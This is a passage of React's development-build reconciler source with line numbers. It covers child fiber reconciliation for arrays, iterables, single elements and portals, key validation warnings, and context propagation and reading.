13389 {
13390 if (typeof newChild === 'function') {
13391 warnOnFunctionType(returnFiber);
13392 }
13393 }
13394
13395 return null;
13396 }
13397
13398 function updateSlot(returnFiber, oldFiber, newChild, lanes) {
13399 // Update the fiber if the keys match, otherwise return null.
13400 var key = oldFiber !== null ? oldFiber.key : null;
13401
13402 if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
13403 // Text nodes don't have keys. If the previous node is implicitly keyed
13404 // we can continue to replace it without aborting even if it is not a text
13405 // node.
13406 if (key !== null) {
13407 return null;
13408 }
13409
13410 return updateTextNode(returnFiber, oldFiber, '' + newChild, lanes);
13411 }
13412
13413 if (typeof newChild === 'object' && newChild !== null) {
13414 switch (newChild.$$typeof) {
13415 case REACT_ELEMENT_TYPE:
13416 {
13417 if (newChild.key === key) {
13418 return updateElement(returnFiber, oldFiber, newChild, lanes);
13419 } else {
13420 return null;
13421 }
13422 }
13423
13424 case REACT_PORTAL_TYPE:
13425 {
13426 if (newChild.key === key) {
13427 return updatePortal(returnFiber, oldFiber, newChild, lanes);
13428 } else {
13429 return null;
13430 }
13431 }
13432
13433 case REACT_LAZY_TYPE:
13434 {
13435 var payload = newChild._payload;
13436 var init = newChild._init;
13437 return updateSlot(returnFiber, oldFiber, init(payload), lanes);
13438 }
13439 }
13440
13441 if (isArray(newChild) || getIteratorFn(newChild)) {
13442 if (key !== null) {
13443 return null;
13444 }
13445
13446 return updateFragment(returnFiber, oldFiber, newChild, lanes, null);
13447 }
13448
13449 throwOnInvalidObjectType(returnFiber, newChild);
13450 }
13451
13452 {
13453 if (typeof newChild === 'function') {
13454 warnOnFunctionType(returnFiber);
13455 }
13456 }
13457
13458 return null;
13459 }
13460
13461 function updateFromMap(existingChildren, returnFiber, newIdx, newChild, lanes) {
13462 if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
13463 // Text nodes don't have keys, so we neither have to check the old nor
13464 // new node for the key. If both are text nodes, they match.
13465 var matchedFiber = existingChildren.get(newIdx) || null;
13466 return updateTextNode(returnFiber, matchedFiber, '' + newChild, lanes);
13467 }
13468
13469 if (typeof newChild === 'object' && newChild !== null) {
13470 switch (newChild.$$typeof) {
13471 case REACT_ELEMENT_TYPE:
13472 {
13473 var _matchedFiber = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;
13474
13475 return updateElement(returnFiber, _matchedFiber, newChild, lanes);
13476 }
13477
13478 case REACT_PORTAL_TYPE:
13479 {
13480 var _matchedFiber2 = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;
13481
13482 return updatePortal(returnFiber, _matchedFiber2, newChild, lanes);
13483 }
13484
13485 case REACT_LAZY_TYPE:
13486 var payload = newChild._payload;
13487 var init = newChild._init;
13488 return updateFromMap(existingChildren, returnFiber, newIdx, init(payload), lanes);
13489 }
13490
13491 if (isArray(newChild) || getIteratorFn(newChild)) {
13492 var _matchedFiber3 = existingChildren.get(newIdx) || null;
13493
13494 return updateFragment(returnFiber, _matchedFiber3, newChild, lanes, null);
13495 }
13496
13497 throwOnInvalidObjectType(returnFiber, newChild);
13498 }
13499
13500 {
13501 if (typeof newChild === 'function') {
13502 warnOnFunctionType(returnFiber);
13503 }
13504 }
13505
13506 return null;
13507 }
13508 /**
13509 * Warns if there is a duplicate or missing key
13510 */
13511
13512
13513 function warnOnInvalidKey(child, knownKeys, returnFiber) {
13514 {
13515 if (typeof child !== 'object' || child === null) {
13516 return knownKeys;
13517 }
13518
13519 switch (child.$$typeof) {
13520 case REACT_ELEMENT_TYPE:
13521 case REACT_PORTAL_TYPE:
13522 warnForMissingKey(child, returnFiber);
13523 var key = child.key;
13524
13525 if (typeof key !== 'string') {
13526 break;
13527 }
13528
13529 if (knownKeys === null) {
13530 knownKeys = new Set();
13531 knownKeys.add(key);
13532 break;
13533 }
13534
13535 if (!knownKeys.has(key)) {
13536 knownKeys.add(key);
13537 break;
13538 }
13539
13540 error('Encountered two children with the same key, `%s`. ' + 'Keys should be unique so that components maintain their identity ' + 'across updates. Non-unique keys may cause children to be ' + 'duplicated and/or omitted — the behavior is unsupported and ' + 'could change in a future version.', key);
13541
13542 break;
13543
13544 case REACT_LAZY_TYPE:
13545 var payload = child._payload;
13546 var init = child._init;
13547 warnOnInvalidKey(init(payload), knownKeys, returnFiber);
13548 break;
13549 }
13550 }
13551
13552 return knownKeys;
13553 }
13554
13555 function reconcileChildrenArray(returnFiber, currentFirstChild, newChildren, lanes) {
13556 // This algorithm can't optimize by searching from both ends since we
13557 // don't have backpointers on fibers. I'm trying to see how far we can get
13558 // with that model. If it ends up not being worth the tradeoffs, we can
13559 // add it later.
13560 // Even with a two ended optimization, we'd want to optimize for the case
13561 // where there are few changes and brute force the comparison instead of
13562 // going for the Map. It'd like to explore hitting that path first in
13563 // forward-only mode and only go for the Map once we notice that we need
13564 // lots of look ahead. This doesn't handle reversal as well as two ended
13565 // search but that's unusual. Besides, for the two ended optimization to
13566 // work on Iterables, we'd need to copy the whole set.
13567 // In this first iteration, we'll just live with hitting the bad case
13568 // (adding everything to a Map) in for every insert/move.
13569 // If you change this code, also update reconcileChildrenIterator() which
13570 // uses the same algorithm.
13571 {
13572 // First, validate keys.
13573 var knownKeys = null;
13574
13575 for (var i = 0; i < newChildren.length; i++) {
13576 var child = newChildren[i];
13577 knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
13578 }
13579 }
13580
13581 var resultingFirstChild = null;
13582 var previousNewFiber = null;
13583 var oldFiber = currentFirstChild;
13584 var lastPlacedIndex = 0;
13585 var newIdx = 0;
13586 var nextOldFiber = null;
13587
13588 for (; oldFiber !== null && newIdx < newChildren.length; newIdx++) {
13589 if (oldFiber.index > newIdx) {
13590 nextOldFiber = oldFiber;
13591 oldFiber = null;
13592 } else {
13593 nextOldFiber = oldFiber.sibling;
13594 }
13595
13596 var newFiber = updateSlot(returnFiber, oldFiber, newChildren[newIdx], lanes);
13597
13598 if (newFiber === null) {
13599 // TODO: This breaks on empty slots like null children. That's
13600 // unfortunate because it triggers the slow path all the time. We need
13601 // a better way to communicate whether this was a miss or null,
13602 // boolean, undefined, etc.
13603 if (oldFiber === null) {
13604 oldFiber = nextOldFiber;
13605 }
13606
13607 break;
13608 }
13609
13610 if (shouldTrackSideEffects) {
13611 if (oldFiber && newFiber.alternate === null) {
13612 // We matched the slot, but we didn't reuse the existing fiber, so we
13613 // need to delete the existing child.
13614 deleteChild(returnFiber, oldFiber);
13615 }
13616 }
13617
13618 lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
13619
13620 if (previousNewFiber === null) {
13621 // TODO: Move out of the loop. This only happens for the first run.
13622 resultingFirstChild = newFiber;
13623 } else {
13624 // TODO: Defer siblings if we're not at the right index for this slot.
13625 // I.e. if we had null values before, then we want to defer this
13626 // for each null value. However, we also don't want to call updateSlot
13627 // with the previous one.
13628 previousNewFiber.sibling = newFiber;
13629 }
13630
13631 previousNewFiber = newFiber;
13632 oldFiber = nextOldFiber;
13633 }
13634
13635 if (newIdx === newChildren.length) {
13636 // We've reached the end of the new children. We can delete the rest.
13637 deleteRemainingChildren(returnFiber, oldFiber);
13638
13639 if (getIsHydrating()) {
13640 var numberOfForks = newIdx;
13641 pushTreeFork(returnFiber, numberOfForks);
13642 }
13643
13644 return resultingFirstChild;
13645 }
13646
13647 if (oldFiber === null) {
13648 // If we don't have any more existing children we can choose a fast path
13649 // since the rest will all be insertions.
13650 for (; newIdx < newChildren.length; newIdx++) {
13651 var _newFiber = createChild(returnFiber, newChildren[newIdx], lanes);
13652
13653 if (_newFiber === null) {
13654 continue;
13655 }
13656
13657 lastPlacedIndex = placeChild(_newFiber, lastPlacedIndex, newIdx);
13658
13659 if (previousNewFiber === null) {
13660 // TODO: Move out of the loop. This only happens for the first run.
13661 resultingFirstChild = _newFiber;
13662 } else {
13663 previousNewFiber.sibling = _newFiber;
13664 }
13665
13666 previousNewFiber = _newFiber;
13667 }
13668
13669 if (getIsHydrating()) {
13670 var _numberOfForks = newIdx;
13671 pushTreeFork(returnFiber, _numberOfForks);
13672 }
13673
13674 return resultingFirstChild;
13675 } // Add all children to a key map for quick lookups.
13676
13677
13678 var existingChildren = mapRemainingChildren(returnFiber, oldFiber); // Keep scanning and use the map to restore deleted items as moves.
13679
13680 for (; newIdx < newChildren.length; newIdx++) {
13681 var _newFiber2 = updateFromMap(existingChildren, returnFiber, newIdx, newChildren[newIdx], lanes);
13682
13683 if (_newFiber2 !== null) {
13684 if (shouldTrackSideEffects) {
13685 if (_newFiber2.alternate !== null) {
13686 // The new fiber is a work in progress, but if there exists a
13687 // current, that means that we reused the fiber. We need to delete
13688 // it from the child list so that we don't add it to the deletion
13689 // list.
13690 existingChildren.delete(_newFiber2.key === null ? newIdx : _newFiber2.key);
13691 }
13692 }
13693
13694 lastPlacedIndex = placeChild(_newFiber2, lastPlacedIndex, newIdx);
13695
13696 if (previousNewFiber === null) {
13697 resultingFirstChild = _newFiber2;
13698 } else {
13699 previousNewFiber.sibling = _newFiber2;
13700 }
13701
13702 previousNewFiber = _newFiber2;
13703 }
13704 }
13705
13706 if (shouldTrackSideEffects) {
13707 // Any existing children that weren't consumed above were deleted. We need
13708 // to add them to the deletion list.
13709 existingChildren.forEach(function (child) {
13710 return deleteChild(returnFiber, child);
13711 });
13712 }
13713
13714 if (getIsHydrating()) {
13715 var _numberOfForks2 = newIdx;
13716 pushTreeFork(returnFiber, _numberOfForks2);
13717 }
13718
13719 return resultingFirstChild;
13720 }
13721
13722 function reconcileChildrenIterator(returnFiber, currentFirstChild, newChildrenIterable, lanes) {
13723 // This is the same implementation as reconcileChildrenArray(),
13724 // but using the iterator instead.
13725 var iteratorFn = getIteratorFn(newChildrenIterable);
13726
13727 if (typeof iteratorFn !== 'function') {
13728 throw new Error('An object is not an iterable. This error is likely caused by a bug in ' + 'React. Please file an issue.');
13729 }
13730
13731 {
13732 // We don't support rendering Generators because it's a mutation.
13733 // See https://github.com/facebook/react/issues/12995
13734 if (typeof Symbol === 'function' && // $FlowFixMe Flow doesn't know about toStringTag
13735 newChildrenIterable[Symbol.toStringTag] === 'Generator') {
13736 if (!didWarnAboutGenerators) {
13737 error('Using Generators as children is unsupported and will likely yield ' + 'unexpected results because enumerating a generator mutates it. ' + 'You may convert it to an array with `Array.from()` or the ' + '`[...spread]` operator before rendering. Keep in mind ' + 'you might need to polyfill these features for older browsers.');
13738 }
13739
13740 didWarnAboutGenerators = true;
13741 } // Warn about using Maps as children
13742
13743
13744 if (newChildrenIterable.entries === iteratorFn) {
13745 if (!didWarnAboutMaps) {
13746 error('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
13747 }
13748
13749 didWarnAboutMaps = true;
13750 } // First, validate keys.
13751 // We'll get a different iterator later for the main pass.
13752
13753
13754 var _newChildren = iteratorFn.call(newChildrenIterable);
13755
13756 if (_newChildren) {
13757 var knownKeys = null;
13758
13759 var _step = _newChildren.next();
13760
13761 for (; !_step.done; _step = _newChildren.next()) {
13762 var child = _step.value;
13763 knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
13764 }
13765 }
13766 }
13767
13768 var newChildren = iteratorFn.call(newChildrenIterable);
13769
13770 if (newChildren == null) {
13771 throw new Error('An iterable object provided no iterator.');
13772 }
13773
13774 var resultingFirstChild = null;
13775 var previousNewFiber = null;
13776 var oldFiber = currentFirstChild;
13777 var lastPlacedIndex = 0;
13778 var newIdx = 0;
13779 var nextOldFiber = null;
13780 var step = newChildren.next();
13781
13782 for (; oldFiber !== null && !step.done; newIdx++, step = newChildren.next()) {
13783 if (oldFiber.index > newIdx) {
13784 nextOldFiber = oldFiber;
13785 oldFiber = null;
13786 } else {
13787 nextOldFiber = oldFiber.sibling;
13788 }
13789
13790 var newFiber = updateSlot(returnFiber, oldFiber, step.value, lanes);
13791
13792 if (newFiber === null) {
13793 // TODO: This breaks on empty slots like null children. That's
13794 // unfortunate because it triggers the slow path all the time. We need
13795 // a better way to communicate whether this was a miss or null,
13796 // boolean, undefined, etc.
13797 if (oldFiber === null) {
13798 oldFiber = nextOldFiber;
13799 }
13800
13801 break;
13802 }
13803
13804 if (shouldTrackSideEffects) {
13805 if (oldFiber && newFiber.alternate === null) {
13806 // We matched the slot, but we didn't reuse the existing fiber, so we
13807 // need to delete the existing child.
13808 deleteChild(returnFiber, oldFiber);
13809 }
13810 }
13811
13812 lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
13813
13814 if (previousNewFiber === null) {
13815 // TODO: Move out of the loop. This only happens for the first run.
13816 resultingFirstChild = newFiber;
13817 } else {
13818 // TODO: Defer siblings if we're not at the right index for this slot.
13819 // I.e. if we had null values before, then we want to defer this
13820 // for each null value. However, we also don't want to call updateSlot
13821 // with the previous one.
13822 previousNewFiber.sibling = newFiber;
13823 }
13824
13825 previousNewFiber = newFiber;
13826 oldFiber = nextOldFiber;
13827 }
13828
13829 if (step.done) {
13830 // We've reached the end of the new children. We can delete the rest.
13831 deleteRemainingChildren(returnFiber, oldFiber);
13832
13833 if (getIsHydrating()) {
13834 var numberOfForks = newIdx;
13835 pushTreeFork(returnFiber, numberOfForks);
13836 }
13837
13838 return resultingFirstChild;
13839 }
13840
13841 if (oldFiber === null) {
13842 // If we don't have any more existing children we can choose a fast path
13843 // since the rest will all be insertions.
13844 for (; !step.done; newIdx++, step = newChildren.next()) {
13845 var _newFiber3 = createChild(returnFiber, step.value, lanes);
13846
13847 if (_newFiber3 === null) {
13848 continue;
13849 }
13850
13851 lastPlacedIndex = placeChild(_newFiber3, lastPlacedIndex, newIdx);
13852
13853 if (previousNewFiber === null) {
13854 // TODO: Move out of the loop. This only happens for the first run.
13855 resultingFirstChild = _newFiber3;
13856 } else {
13857 previousNewFiber.sibling = _newFiber3;
13858 }
13859
13860 previousNewFiber = _newFiber3;
13861 }
13862
13863 if (getIsHydrating()) {
13864 var _numberOfForks3 = newIdx;
13865 pushTreeFork(returnFiber, _numberOfForks3);
13866 }
13867
13868 return resultingFirstChild;
13869 } // Add all children to a key map for quick lookups.
13870
13871
13872 var existingChildren = mapRemainingChildren(returnFiber, oldFiber); // Keep scanning and use the map to restore deleted items as moves.
13873
13874 for (; !step.done; newIdx++, step = newChildren.next()) {
13875 var _newFiber4 = updateFromMap(existingChildren, returnFiber, newIdx, step.value, lanes);
13876
13877 if (_newFiber4 !== null) {
13878 if (shouldTrackSideEffects) {
13879 if (_newFiber4.alternate !== null) {
13880 // The new fiber is a work in progress, but if there exists a
13881 // current, that means that we reused the fiber. We need to delete
13882 // it from the child list so that we don't add it to the deletion
13883 // list.
13884 existingChildren.delete(_newFiber4.key === null ? newIdx : _newFiber4.key);
13885 }
13886 }
13887
13888 lastPlacedIndex = placeChild(_newFiber4, lastPlacedIndex, newIdx);
13889
13890 if (previousNewFiber === null) {
13891 resultingFirstChild = _newFiber4;
13892 } else {
13893 previousNewFiber.sibling = _newFiber4;
13894 }
13895
13896 previousNewFiber = _newFiber4;
13897 }
13898 }
13899
13900 if (shouldTrackSideEffects) {
13901 // Any existing children that weren't consumed above were deleted. We need
13902 // to add them to the deletion list.
13903 existingChildren.forEach(function (child) {
13904 return deleteChild(returnFiber, child);
13905 });
13906 }
13907
13908 if (getIsHydrating()) {
13909 var _numberOfForks4 = newIdx;
13910 pushTreeFork(returnFiber, _numberOfForks4);
13911 }
13912
13913 return resultingFirstChild;
13914 }
13915
13916 function reconcileSingleTextNode(returnFiber, currentFirstChild, textContent, lanes) {
13917 // There's no need to check for keys on text nodes since we don't have a
13918 // way to define them.
13919 if (currentFirstChild !== null && currentFirstChild.tag === HostText) {
13920 // We already have an existing node so let's just update it and delete
13921 // the rest.
13922 deleteRemainingChildren(returnFiber, currentFirstChild.sibling);
13923 var existing = useFiber(currentFirstChild, textContent);
13924 existing.return = returnFiber;
13925 return existing;
13926 } // The existing first child is not a text node so we need to create one
13927 // and delete the existing ones.
13928
13929
13930 deleteRemainingChildren(returnFiber, currentFirstChild);
13931 var created = createFiberFromText(textContent, returnFiber.mode, lanes);
13932 created.return = returnFiber;
13933 return created;
13934 }
13935
13936 function reconcileSingleElement(returnFiber, currentFirstChild, element, lanes) {
13937 var key = element.key;
13938 var child = currentFirstChild;
13939
13940 while (child !== null) {
13941 // TODO: If key === null and child.key === null, then this only applies to
13942 // the first item in the list.
13943 if (child.key === key) {
13944 var elementType = element.type;
13945
13946 if (elementType === REACT_FRAGMENT_TYPE) {
13947 if (child.tag === Fragment) {
13948 deleteRemainingChildren(returnFiber, child.sibling);
13949 var existing = useFiber(child, element.props.children);
13950 existing.return = returnFiber;
13951
13952 {
13953 existing._debugSource = element._source;
13954 existing._debugOwner = element._owner;
13955 }
13956
13957 return existing;
13958 }
13959 } else {
13960 if (child.elementType === elementType || ( // Keep this check inline so it only runs on the false path:
13961 isCompatibleFamilyForHotReloading(child, element) ) || // Lazy types should reconcile their resolved type.
13962 // We need to do this after the Hot Reloading check above,
13963 // because hot reloading has different semantics than prod because
13964 // it doesn't resuspend. So we can't let the call below suspend.
13965 typeof elementType === 'object' && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === child.type) {
13966 deleteRemainingChildren(returnFiber, child.sibling);
13967
13968 var _existing = useFiber(child, element.props);
13969
13970 _existing.ref = coerceRef(returnFiber, child, element);
13971 _existing.return = returnFiber;
13972
13973 {
13974 _existing._debugSource = element._source;
13975 _existing._debugOwner = element._owner;
13976 }
13977
13978 return _existing;
13979 }
13980 } // Didn't match.
13981
13982
13983 deleteRemainingChildren(returnFiber, child);
13984 break;
13985 } else {
13986 deleteChild(returnFiber, child);
13987 }
13988
13989 child = child.sibling;
13990 }
13991
13992 if (element.type === REACT_FRAGMENT_TYPE) {
13993 var created = createFiberFromFragment(element.props.children, returnFiber.mode, lanes, element.key);
13994 created.return = returnFiber;
13995 return created;
13996 } else {
13997 var _created4 = createFiberFromElement(element, returnFiber.mode, lanes);
13998
13999 _created4.ref = coerceRef(returnFiber, currentFirstChild, element);
14000 _created4.return = returnFiber;
14001 return _created4;
14002 }
14003 }
14004
14005 function reconcileSinglePortal(returnFiber, currentFirstChild, portal, lanes) {
14006 var key = portal.key;
14007 var child = currentFirstChild;
14008
14009 while (child !== null) {
14010 // TODO: If key === null and child.key === null, then this only applies to
14011 // the first item in the list.
14012 if (child.key === key) {
14013 if (child.tag === HostPortal && child.stateNode.containerInfo === portal.containerInfo && child.stateNode.implementation === portal.implementation) {
14014 deleteRemainingChildren(returnFiber, child.sibling);
14015 var existing = useFiber(child, portal.children || []);
14016 existing.return = returnFiber;
14017 return existing;
14018 } else {
14019 deleteRemainingChildren(returnFiber, child);
14020 break;
14021 }
14022 } else {
14023 deleteChild(returnFiber, child);
14024 }
14025
14026 child = child.sibling;
14027 }
14028
14029 var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
14030 created.return = returnFiber;
14031 return created;
14032 } // This API will tag the children with the side-effect of the reconciliation
14033 // itself. They will be added to the side-effect list as we pass through the
14034 // children and the parent.
14035
14036
14037 function reconcileChildFibers(returnFiber, currentFirstChild, newChild, lanes) {
14038 // This function is not recursive.
14039 // If the top level item is an array, we treat it as a set of children,
14040 // not as a fragment. Nested arrays on the other hand will be treated as
14041 // fragment nodes. Recursion happens at the normal flow.
14042 // Handle top level unkeyed fragments as if they were arrays.
14043 // This leads to an ambiguity between <>{[...]}</> and <>...</>.
14044 // We treat the ambiguous cases above the same.
14045 var isUnkeyedTopLevelFragment = typeof newChild === 'object' && newChild !== null && newChild.type === REACT_FRAGMENT_TYPE && newChild.key === null;
14046
14047 if (isUnkeyedTopLevelFragment) {
14048 newChild = newChild.props.children;
14049 } // Handle object types
14050
14051
14052 if (typeof newChild === 'object' && newChild !== null) {
14053 switch (newChild.$$typeof) {
14054 case REACT_ELEMENT_TYPE:
14055 return placeSingleChild(reconcileSingleElement(returnFiber, currentFirstChild, newChild, lanes));
14056
14057 case REACT_PORTAL_TYPE:
14058 return placeSingleChild(reconcileSinglePortal(returnFiber, currentFirstChild, newChild, lanes));
14059
14060 case REACT_LAZY_TYPE:
14061 var payload = newChild._payload;
14062 var init = newChild._init; // TODO: This function is supposed to be non-recursive.
14063
14064 return reconcileChildFibers(returnFiber, currentFirstChild, init(payload), lanes);
14065 }
14066
14067 if (isArray(newChild)) {
14068 return reconcileChildrenArray(returnFiber, currentFirstChild, newChild, lanes);
14069 }
14070
14071 if (getIteratorFn(newChild)) {
14072 return reconcileChildrenIterator(returnFiber, currentFirstChild, newChild, lanes);
14073 }
14074
14075 throwOnInvalidObjectType(returnFiber, newChild);
14076 }
14077
14078 if (typeof newChild === 'string' && newChild !== '' || typeof newChild === 'number') {
14079 return placeSingleChild(reconcileSingleTextNode(returnFiber, currentFirstChild, '' + newChild, lanes));
14080 }
14081
14082 {
14083 if (typeof newChild === 'function') {
14084 warnOnFunctionType(returnFiber);
14085 }
14086 } // Remaining cases are all treated as empty.
14087
14088
14089 return deleteRemainingChildren(returnFiber, currentFirstChild);
14090 }
14091
14092 return reconcileChildFibers;
14093 }
14094
14095 var reconcileChildFibers = ChildReconciler(true);
14096 var mountChildFibers = ChildReconciler(false);
14097 function cloneChildFibers(current, workInProgress) {
14098 if (current !== null && workInProgress.child !== current.child) {
14099 throw new Error('Resuming work not yet implemented.');
14100 }
14101
14102 if (workInProgress.child === null) {
14103 return;
14104 }
14105
14106 var currentChild = workInProgress.child;
14107 var newChild = createWorkInProgress(currentChild, currentChild.pendingProps);
14108 workInProgress.child = newChild;
14109 newChild.return = workInProgress;
14110
14111 while (currentChild.sibling !== null) {
14112 currentChild = currentChild.sibling;
14113 newChild = newChild.sibling = createWorkInProgress(currentChild, currentChild.pendingProps);
14114 newChild.return = workInProgress;
14115 }
14116
14117 newChild.sibling = null;
14118 } // Reset a workInProgress child set to prepare it for a second pass.
14119
14120 function resetChildFibers(workInProgress, lanes) {
14121 var child = workInProgress.child;
14122
14123 while (child !== null) {
14124 resetWorkInProgress(child, lanes);
14125 child = child.sibling;
14126 }
14127 }
14128
14129 var valueCursor = createCursor(null);
14130 var rendererSigil;
14131
14132 {
14133 // Use this to detect multiple renderers using the same context
14134 rendererSigil = {};
14135 }
14136
14137 var currentlyRenderingFiber = null;
14138 var lastContextDependency = null;
14139 var lastFullyObservedContext = null;
14140 var isDisallowedContextReadInDEV = false;
14141 function resetContextDependencies() {
14142 // This is called right before React yields execution, to ensure `readContext`
14143 // cannot be called outside the render phase.
14144 currentlyRenderingFiber = null;
14145 lastContextDependency = null;
14146 lastFullyObservedContext = null;
14147
14148 {
14149 isDisallowedContextReadInDEV = false;
14150 }
14151 }
14152 function enterDisallowedContextReadInDEV() {
14153 {
14154 isDisallowedContextReadInDEV = true;
14155 }
14156 }
14157 function exitDisallowedContextReadInDEV() {
14158 {
14159 isDisallowedContextReadInDEV = false;
14160 }
14161 }
14162 function pushProvider(providerFiber, context, nextValue) {
14163 {
14164 push(valueCursor, context._currentValue, providerFiber);
14165 context._currentValue = nextValue;
14166
14167 {
14168 if (context._currentRenderer !== undefined && context._currentRenderer !== null && context._currentRenderer !== rendererSigil) {
14169 error('Detected multiple renderers concurrently rendering the ' + 'same context provider. This is currently unsupported.');
14170 }
14171
14172 context._currentRenderer = rendererSigil;
14173 }
14174 }
14175 }
14176 function popProvider(context, providerFiber) {
14177 var currentValue = valueCursor.current;
14178 pop(valueCursor, providerFiber);
14179
14180 {
14181 {
14182 context._currentValue = currentValue;
14183 }
14184 }
14185 }
14186 function scheduleContextWorkOnParentPath(parent, renderLanes, propagationRoot) {
14187 // Update the child lanes of all the ancestors, including the alternates.
14188 var node = parent;
14189
14190 while (node !== null) {
14191 var alternate = node.alternate;
14192
14193 if (!isSubsetOfLanes(node.childLanes, renderLanes)) {
14194 node.childLanes = mergeLanes(node.childLanes, renderLanes);
14195
14196 if (alternate !== null) {
14197 alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);
14198 }
14199 } else if (alternate !== null && !isSubsetOfLanes(alternate.childLanes, renderLanes)) {
14200 alternate.childLanes = mergeLanes(alternate.childLanes, renderLanes);
14201 }
14202
14203 if (node === propagationRoot) {
14204 break;
14205 }
14206
14207 node = node.return;
14208 }
14209
14210 {
14211 if (node !== propagationRoot) {
14212 error('Expected to find the propagation root when scheduling context work. ' + 'This error is likely caused by a bug in React. Please file an issue.');
14213 }
14214 }
14215 }
14216 function propagateContextChange(workInProgress, context, renderLanes) {
14217 {
14218 propagateContextChange_eager(workInProgress, context, renderLanes);
14219 }
14220 }
14221
14222 function propagateContextChange_eager(workInProgress, context, renderLanes) {
14223
14224 var fiber = workInProgress.child;
14225
14226 if (fiber !== null) {
14227 // Set the return pointer of the child to the work-in-progress fiber.
14228 fiber.return = workInProgress;
14229 }
14230
14231 while (fiber !== null) {
14232 var nextFiber = void 0; // Visit this fiber.
14233
14234 var list = fiber.dependencies;
14235
14236 if (list !== null) {
14237 nextFiber = fiber.child;
14238 var dependency = list.firstContext;
14239
14240 while (dependency !== null) {
14241 // Check if the context matches.
14242 if (dependency.context === context) {
14243 // Match! Schedule an update on this fiber.
14244 if (fiber.tag === ClassComponent) {
14245 // Schedule a force update on the work-in-progress.
14246 var lane = pickArbitraryLane(renderLanes);
14247 var update = createUpdate(NoTimestamp, lane);
14248 update.tag = ForceUpdate; // TODO: Because we don't have a work-in-progress, this will add the
14249 // update to the current fiber, too, which means it will persist even if
14250 // this render is thrown away. Since it's a race condition, not sure it's
14251 // worth fixing.
14252 // Inlined `enqueueUpdate` to remove interleaved update check
14253
14254 var updateQueue = fiber.updateQueue;
14255
14256 if (updateQueue === null) ; else {
14257 var sharedQueue = updateQueue.shared;
14258 var pending = sharedQueue.pending;
14259
14260 if (pending === null) {
14261 // This is the first update. Create a circular list.
14262 update.next = update;
14263 } else {
14264 update.next = pending.next;
14265 pending.next = update;
14266 }
14267
14268 sharedQueue.pending = update;
14269 }
14270 }
14271
14272 fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
14273 var alternate = fiber.alternate;
14274
14275 if (alternate !== null) {
14276 alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
14277 }
14278
14279 scheduleContextWorkOnParentPath(fiber.return, renderLanes, workInProgress); // Mark the updated lanes on the list, too.
14280
14281 list.lanes = mergeLanes(list.lanes, renderLanes); // Since we already found a match, we can stop traversing the
14282 // dependency list.
14283
14284 break;
14285 }
14286
14287 dependency = dependency.next;
14288 }
14289 } else if (fiber.tag === ContextProvider) {
14290 // Don't scan deeper if this is a matching provider
14291 nextFiber = fiber.type === workInProgress.type ? null : fiber.child;
14292 } else if (fiber.tag === DehydratedFragment) {
14293 // If a dehydrated suspense boundary is in this subtree, we don't know
14294 // if it will have any context consumers in it. The best we can do is
14295 // mark it as having updates.
14296 var parentSuspense = fiber.return;
14297
14298 if (parentSuspense === null) {
14299 throw new Error('We just came from a parent so we must have had a parent. This is a bug in React.');
14300 }
14301
14302 parentSuspense.lanes = mergeLanes(parentSuspense.lanes, renderLanes);
14303 var _alternate = parentSuspense.alternate;
14304
14305 if (_alternate !== null) {
14306 _alternate.lanes = mergeLanes(_alternate.lanes, renderLanes);
14307 } // This is intentionally passing this fiber as the parent
14308 // because we want to schedule this fiber as having work
14309 // on its children. We'll use the childLanes on
14310 // this fiber to indicate that a context has changed.
14311
14312
14313 scheduleContextWorkOnParentPath(parentSuspense, renderLanes, workInProgress);
14314 nextFiber = fiber.sibling;
14315 } else {
14316 // Traverse down.
14317 nextFiber = fiber.child;
14318 }
14319
14320 if (nextFiber !== null) {
14321 // Set the return pointer of the child to the work-in-progress fiber.
14322 nextFiber.return = fiber;
14323 } else {
14324 // No child. Traverse to next sibling.
14325 nextFiber = fiber;
14326
14327 while (nextFiber !== null) {
14328 if (nextFiber === workInProgress) {
14329 // We're back to the root of this subtree. Exit.
14330 nextFiber = null;
14331 break;
14332 }
14333
14334 var sibling = nextFiber.sibling;
14335
14336 if (sibling !== null) {
14337 // Set the return pointer of the sibling to the work-in-progress fiber.
14338 sibling.return = nextFiber.return;
14339 nextFiber = sibling;
14340 break;
14341 } // No more siblings. Traverse up.
14342
14343
14344 nextFiber = nextFiber.return;
14345 }
14346 }
14347
14348 fiber = nextFiber;
14349 }
14350 }
14351 function prepareToReadContext(workInProgress, renderLanes) {
14352 currentlyRenderingFiber = workInProgress;
14353 lastContextDependency = null;
14354 lastFullyObservedContext = null;
14355 var dependencies = workInProgress.dependencies;
14356
14357 if (dependencies !== null) {
14358 {
14359 var firstContext = dependencies.firstContext;
14360
14361 if (firstContext !== null) {
14362 if (includesSomeLane(dependencies.lanes, renderLanes)) {
14363 // Context list has a pending update. Mark that this fiber performed work.
14364 markWorkInProgressReceivedUpdate();
14365 } // Reset the work-in-progress list
14366
14367
14368 dependencies.firstContext = null;
14369 }
14370 }
14371 }
14372 }
14373 function readContext(context) {
14374 {
14375 // This warning would fire if you read context inside a Hook like useMemo.
14376 // Unlike the class check below, it's not enforced in production for perf.
14377 if (isDisallowedContextReadInDEV) {
14378 error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
14379 }
14380 }
14381
14382 var value = context._currentValue ;
14383
14384 if (lastFullyObservedContext === context) ; else {
14385 var contextItem = {
14386 context: context,
14387 memoizedValue: value,
14388 next: null
14389 };
14390
14391 if (lastContextDependency === null) {
14392 if (currentlyRenderingFiber === null) {
14393 throw new Error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
